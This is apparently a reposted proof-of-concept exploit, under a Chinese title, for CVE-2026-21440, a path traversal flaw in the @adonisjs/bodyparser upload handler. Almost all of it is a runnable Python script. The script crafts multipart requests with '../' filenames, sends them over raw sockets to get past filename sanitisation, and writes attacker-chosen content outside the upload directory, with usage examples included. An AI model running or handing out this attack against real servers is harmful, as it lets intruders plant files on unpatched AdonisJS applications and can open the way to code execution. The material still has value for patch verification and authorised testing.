CVE-2026-21440｜AdonisJS远程代码执行漏洞（POC）

@adonisjs/bodyparser <= 10.1.1
@adonisjs/bodyparser <= 11.0.0-next.5

#!/usr/bin/env python3
"""
CVE-2026-21440 - Path Traversal Exploit for @adonisjs/bodyparser

This script exploits a path traversal vulnerability in the @adonisjs/bodyparser
package (versions ≤ 10.1.1 and 11.0.0-next.1 to 11.0.0-next.5).

The vulnerability allows an attacker to write arbitrary files outside the 
intended upload directory by crafting a malicious filename with directory 
traversal sequences.

Author: k0nnect
Date: 2026-01-07

⚠️  DISCLAIMER: This tool is for authorized security testing only.
    Unauthorized access to computer systems is illegal.
"""

import argparse
import sys
import os
import socket
from urllib.parse import urlparse, urljoin

try:
    import requests
except ImportError:
    print("[!] Error: 'requests' library not found.")
    print("    Install with: pip install requests")
    sys.exit(1)


# Banner
BANNER = """
╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-21440 Path Traversal Exploit               ║
║                  @adonisjs/bodyparser                         ║
║                                                               ║
║          github.com/k0nnect/cve-2026-21440-writeup            ║
╚═══════════════════════════════════════════════════════════════╝
"""


class PathTraversalExploit:
    """
    Exploit class for CVE-2026-21440 path traversal vulnerability.
    """

    def __init__(self, target_url: str, timeout: int = 10, verify_ssl: bool = True):
        """
        Initialize the exploit.
        """
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.session = requests.Session()

        # Parse URL
        parsed = urlparse(self.target_url)
        self.host = parsed.hostname
        self.port = parsed.port or (443 if parsed.scheme == 'https' else 80)
        self.path = parsed.path or '/'
        self.is_https = parsed.scheme == 'https'

    def check_target(self) -> bool:
        """Check if target is reachable and healthy."""
        try:
            base_url = '/'.join(self.target_url.split('/')[:-1])
            health_url = urljoin(base_url + '/', 'health')
            response = self.session.get(health_url, timeout=self.timeout, verify=self.verify_ssl)
            if response.status_code == 200:
                print("[+] Target is reachable and healthy")
                return True
            else:
                print(f"[-] Target returned status {response.status_code}")
                return False
        except Exception as e:
            print(f"[!] Cannot connect to target: {e}")
            return False

    def exploit(self, traversal_path: str, content: str, verbose: bool = False) -> bool:
        """
        Execute the path traversal exploit using raw sockets.

        This bypasses all library-level filename sanitization.
        """
        print(f"\n[*] Target URL: {self.target_url}")
        print(f"[*] Traversal Path: {traversal_path}")
        print(f"[*] Payload Size: {len(content)} bytes")

        # Construct raw multipart body with unsanitized filename
        boundary = "----CVE2026214440Boundary"

        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="file"; filename="{traversal_path}"\r\n'
            f"Content-Type: application/octet-stream\r\n"
            f"\r\n"
            f"{content}\r\n"
            f"--{boundary}--\r\n"
        ).encode('utf-8')

        # Construct raw HTTP request
        request = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {len(body)}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode('utf-8') + body

        if verbose:
            print(f"[*] Crafted filename in request: {traversal_path}")
            print(f"[*] Raw request size: {len(request)} bytes")

        try:
            print("\n[*] Sending exploit payload via raw socket...")

            # Create socket and connect
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)

            if self.is_https:
                import ssl
                context = ssl.create_default_context()
                if not self.verify_ssl:
                    context.check_hostname = False
                    context.verify_mode = ssl.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=self.host)

            sock.connect((self.host, self.port))
            sock.sendall(request)

            # Receive response
            response = b""
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk

            sock.close()

            # Parse response
            response_str = response.decode('utf-8', errors='ignore')

            if verbose:
                print(f"[*] Raw response:\n{response_str[:1000]}")

            # Extract status code
            first_line = response_str.split('\r\n')[0]
            status_code = int(first_line.split()[1]) if len(first_line.split()) > 1 else 0

            # Extract body (after double CRLF)
            body_start = response_str.find('\r\n\r\n')
            response_body = response_str[body_start + 4:] if body_start != -1 else ""

            if verbose:
                print(f"[*] Response Status: {status_code}")
                print(f"[*] Response Body: {response_body[:500]}")

            if status_code == 200:
                print("\n[+] ✓ Exploit successful!")

                # Try to parse JSON response
                try:
                    import json
                    # Handle chunked encoding
                    if 'Transfer-Encoding: chunked' in response_str:
                        # Simple chunked decode - find JSON in body
                        json_start = response_body.find('{')
                        json_end = response_body.rfind('}') + 1
                        if json_start != -1 and json_end > json_start:
                            response_body = response_body[json_start:json_end]

                    data = json.loads(response_body)
                    if data.get('success') and 'data' in data:
                        info = data['data']
                        print(f"[+] Original name: {info.get('originalName', 'N/A')}")
                        print(f"[+] Resolved path: {info.get('resolvedPath', 'N/A')}")
                        if info.get('escapedUploadsDir'):
                            print(f"[+] ⚠️  PATH TRAVERSAL CONFIRMED - Escaped uploads directory!")
                except:
                    pass

                return True

            elif status_code == 400:
                print("\n[-] ✗ Bad request - file may have been rejected")
                return False
            else:
                print(f"\n[-] Unexpected status: {status_code}")
                return False

        except socket.timeout:
            print("\n[!] Request timed out")
            return False
        except ConnectionRefusedError:
            print("\n[!] Connection refused")
            return False
        except Exception as e:
            print(f"\n[!] Exploit failed: {e}")
            if verbose:
                import traceback
                traceback.print_exc()
            return False


def main():
    """Main entry point."""
    parser = argparse.ArgumentParser(
        description='CVE-2026-21440 Path Traversal Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python exploit.py --url http://target:3333/upload --path "../test.txt"
  python exploit.py --url http://target:3333/upload --path "../../tmp/pwned.txt" --content "pwned"
        """
    )

    parser.add_argument('--url', '-u', required=True, help='Target upload endpoint URL')
    parser.add_argument('--path', '-p', required=True, help='Traversal path (e.g., ../test.txt)')
    parser.add_argument('--content', '-c', default='CVE-2026-21440 PoC', help='File content')
    parser.add_argument('--file', '-f', help='Read content from file')
    parser.add_argument('--timeout', '-t', type=int, default=10, help='Timeout (seconds)')
    parser.add_argument('--no-ssl-verify', action='store_true', help='Disable SSL verify')
    parser.add_argument('--check', action='store_true', help='Only check target')
    parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')

    args = parser.parse_args()

    print(BANNER)

    # Load content
    content = args.content
    if args.file:
        if os.path.exists(args.file):
            with open(args.file, 'r') as f:
                content = f.read()
            print(f"[*] Loaded content from: {args.file}")
        else:
            print(f"[!] File not found: {args.file}")
            sys.exit(1)

    exploit = PathTraversalExploit(
        target_url=args.url,
        timeout=args.timeout,
        verify_ssl=not args.no_ssl_verify
    )

    if args.check:
        sys.exit(0 if exploit.check_target() else 1)

    print("[*] Starting exploit...")

    success = exploit.exploit(args.path, content, args.verbose)

    if success:
        print("\n" + "="*60)
        print("[+] Exploit completed - verify file on target")
        print("="*60)
        sys.exit(0)
    else:
        print("\n[-] Exploit may have failed")
        sys.exit(1)


if __name__ == '__main__':
    main()